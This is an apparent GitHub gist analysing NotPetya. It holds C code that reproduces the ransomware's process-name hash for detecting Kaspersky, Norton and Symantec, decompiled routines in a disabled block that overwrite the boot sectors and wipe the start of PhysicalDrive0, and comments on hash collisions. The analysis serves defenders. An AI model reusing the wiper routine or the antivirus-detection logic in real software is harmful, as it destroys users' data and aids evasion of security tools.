Created
June 29, 2017 06:14
-
-
Save msuiche/cf268fddd16aaa3f67cacc5838d60c1e to your computer and use it in GitHub Desktop.
Petya.2017
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
// | |
// The mysterious command (0x2E214B44) results in the first 10 sectors being wiped out.Or if the original replaceBootSectors() function fails. | |
// | |
// 0x2E214B44 ??? => Mysterious process. Name very close to AVP.exe | |
// Source of below hashes: https://www.carbonblack.com/2017/06/28/carbon-black-threat-research-technical-analysis-petya-notpetya-ransomware/ | |
// 0x2E014B44 (AVP.exe) Kaspersky | |
// 0x651B3005 (NS.exe) Norton Security | |
// 0x6403527E (ccSvcHst.exe) Symantec | |
#define NO_WIPER_MODE 8 | |
#if 0 | |
The mysterious command results in the first 10 sectors being wiped out. Or if the original replaceBootSectors() function fails. | |
void init() | |
{ | |
signed int v0; // esi@1 | |
v0 = 0; | |
if (!dword_1001F114) | |
{ | |
startingTime = GetTickCount(); | |
if (SetTokenPrivilege(L"SeShutdownPrivilege")) | |
v0 = 1; | |
if (SetTokenPrivilege(L"SeDebugPrivilege")) | |
v0 |= 2u; | |
if (SetTokenPrivilege(L"SeTcbPrivilege")) | |
v0 |= 4u; | |
g_TokenPrivileges = v0; | |
g_Mode = getModeBasedOnRansomware(); | |
if (GetModuleFileNameW(Src, &pszPath, 0x30Cu)) | |
sub_10008ACF(); | |
} | |
} | |
int overwriteBootSectors() | |
{ | |
HANDLE v0; // edi@1 | |
HLOCAL v1; // ebx@3 | |
int result; // eax@7 | |
DWORD BytesReturned; // [sp+Ch] [bp-1Ch]@2 | |
char OutBuffer; // [sp+10h] [bp-18h]@2 | |
LONG BytesPerSector; // [sp+24h] [bp-4h]@3 | |
v0 = CreateFileA("\\\\.\\C:", 0x40000000u, 3u, 0, 3u, 0, 0); | |
if (v0) | |
{ | |
if (DeviceIoControl(v0, 0x70000u, 0, 0, &OutBuffer, 0x18u, &BytesReturned, 0)) | |
{ | |
v1 = LocalAlloc(0, 10 * BytesPerSector); | |
if (v1) | |
{ | |
SetFilePointer(v0, BytesPerSector, 0, 0);// pointer at 0x200 (sector 1) | |
WriteFile(v0, v1, BytesPerSector, &BytesReturned, 0);// pointer at erase 0x200 - 0x400 | |
LocalFree(v1); | |
} | |
} | |
CloseHandle(v0); | |
} | |
if (!(g_Mode & 8) || (result = replaceBootSectors()) != 0) | |
result = wipeMode(); | |
return result; | |
} | |
signed int wipeMode() | |
{ | |
HANDLE hDevice; // ebx@1 | |
signed int result; // eax@2 | |
char geometry; // [sp+10h] [bp-20h]@3 | |
int BytesPerSector; // [sp+24h] [bp-Ch]@3 | |
LPCVOID lpBuffer; // [sp+28h] [bp-8h]@3 | |
DWORD BytesReturned; // [sp+2Ch] [bp-4h]@3 | |
hDevice = CreateFileA("\\\\.\\PhysicalDrive0", 0x40000000u, 3u, 0, 3u, 0, 0); | |
if (hDevice) | |
{ | |
DeviceIoControl(hDevice, 0x70000u, 0, 0, &geometry, 0x18u, &BytesReturned, 0);// IOCTL_DISK_GET_DRIVE_GEOMETRY | |
// | |
lpBuffer = LocalAlloc(0, 10 * BytesPerSector); | |
if (lpBuffer) | |
{ | |
DeviceIoControl(hDevice, 0x90020u, 0, 0, 0, 0, &BytesReturned, 0);// FSCTL_DISMOUNT_VOLUME | |
WriteFile(hDevice, lpBuffer, 10 * BytesPerSector, &BytesReturned, 0); | |
LocalFree((HLOCAL)lpBuffer); | |
} | |
CloseHandle(hDevice); | |
result = 1; | |
} | |
else | |
{ | |
result = 0; | |
} | |
return result; | |
} | |
#endif | |
int getHash(LPWSTR processName) | |
{ | |
int command, round, processLen, bitshift, index; | |
char *v4, v5; | |
command = 0x12345678; | |
round = 0; | |
processLen = wcslen(processName); | |
do | |
{ | |
index = 0; | |
if (processLen) | |
{ | |
bitshift = round; | |
do | |
{ | |
v4 = (char *)&command + (bitshift & 3); | |
v5 = (*v4 ^ LOBYTE(processName[index++])) - 1; | |
++bitshift; | |
*v4 = v5; | |
} while (index < processLen); | |
} | |
++round; | |
} while (round < 3); | |
return command; | |
} | |
int | |
getMode( | |
int command | |
) { | |
int mode = -1; | |
if (command == 0x2E214B44) // mysterious command. | |
{ | |
mode &= 0xFFFFFFF7; // keep kill disk flag that will trigger the NO_WIPER_MODE | |
} | |
else if (command == 0x6403527E || command == 0x651B3005) | |
{ | |
mode &= 0xFFFFFFFB; // safe | |
} | |
printf("Hash: 0x%x\n", command); | |
if (!(mode & NO_WIPER_MODE)) { | |
printf("MBR PhysicalDisk0 erased. overwrite10firstsectors()\n"); | |
} | |
else { | |
printf("MBR replacement with the ransomware that display the fake key on screen.\n"); | |
} | |
return mode; | |
} | |
int wmain( | |
int argc, | |
LPWSTR *argv | |
) | |
{ | |
int command; | |
int mode = -1; | |
printf("DISK_GEOMETRY.BytesPerSector at 0x%x\n", FIELD_OFFSET(DISK_GEOMETRY, BytesPerSector)); | |
if (argc >= 2) command = getHash(argv[1]); | |
else command = getHash(L"ccSvcHst.exe"); | |
getMode(command); | |
return false; | |
} |
Eeek, 0x2E214B44 is indeed avp.exe in all lowercase. That was an unintentional formatting issue from Carbon Black (which there should've been zero tolerance for). I'm issuing a correction to the post this morning.
The poor hash function also has multiple collisions, for example:
cCSvchst.exe = 0x6403527e
ccSvcHst.exe = 0x6403527e
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
0x2e214b44 = avp.exe
0x6403527e = cCSvchst.exe
0x651b3005 = NS.exe